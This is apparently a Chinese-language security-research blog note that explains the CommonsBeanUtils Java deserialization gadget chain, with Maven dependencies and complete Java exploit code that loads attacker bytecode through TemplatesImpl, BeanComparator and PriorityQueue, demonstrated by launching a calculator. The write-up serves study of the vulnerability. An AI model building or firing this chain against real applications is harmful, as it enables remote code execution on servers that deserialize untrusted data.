Java反序列化CommonsBeanUtils反序列化

环境配置

<dependency>  
 <groupId>commons-beanutils</groupId>  
 <artifactId>commons-beanutils</artifactId>  
 <version>1.9.2</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.1</version>  
</dependency>  
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->  
<dependency>  
 <groupId>commons-logging</groupId>  
 <artifactId>commons-logging</artifactId>  
 <version>1.2</version>  
</dependency>

漏洞分析

CommonsBeanUtils这个包主要用于操作Java Bean

JavaBean是一种比较特殊的类,有getXXXsetXXX方法来操作类对象

比如这种

2023-05-06T02:57:35.png

JavaBean主要用来传递数据,即把一组数据组合成一个JavaBean便于传输。此外,JavaBean可以方便地被IDE工具分析,生成读写属性的代码,主要用在图形界面的可视化设计中。

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法

比如下面这样

2023-05-06T02:57:45.png

而我们之前用于动态加载字节码的TemplateImpl类里面的getOutputProperties函数,也可以用于动态加载字节码,并且是个publicgetter

2023-05-06T02:57:57.png

于是我们可以通过如下代码弹出计算器

    public static void main(String argc[])throws Exception{
        Field field;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] evil = Files.readAllBytes(Paths.get("calc.class"));

        field = TemplatesImpl.class.getDeclaredField("_name");
        field.setAccessible(true);
        field.set(templates, "P3ngu1nW");

        field = TemplatesImpl.class.getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates, new byte[][]{evil});

        field = TemplatesImpl.class.getDeclaredField("_tfactory");
        field.setAccessible(true);
        field.set(templates, new TransformerFactoryImpl());

        PropertyUtils.getProperty(templates, "outputProperties");
    }

然后我们就往上找链子

2023-05-06T02:58:07.png

BeanComparator类里面找到了相关的调用

而这里的Comparator是我们想到了PriorityQueue类,于是我们可以把CC2的头给接过来

EXP

   public static void main(String argc[])throws Exception{
        Field field;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] evil = Files.readAllBytes(Paths.get("calc.class"));

        field = TemplatesImpl.class.getDeclaredField("_name");
        field.setAccessible(true);
        field.set(templates, "P3ngu1nW");

        field = TemplatesImpl.class.getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates, new byte[][]{evil});

        field = TemplatesImpl.class.getDeclaredField("_tfactory");
        field.setAccessible(true);
        field.set(templates, new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties");

        PriorityQueue priorityQueue = new PriorityQueue<>(2);

        priorityQueue.add(1);
        priorityQueue.add(1);

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, beanComparator);

        field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, new Object[]{templates, templates});

        serialize(priorityQueue);
        unserialize("ser.bin");
    }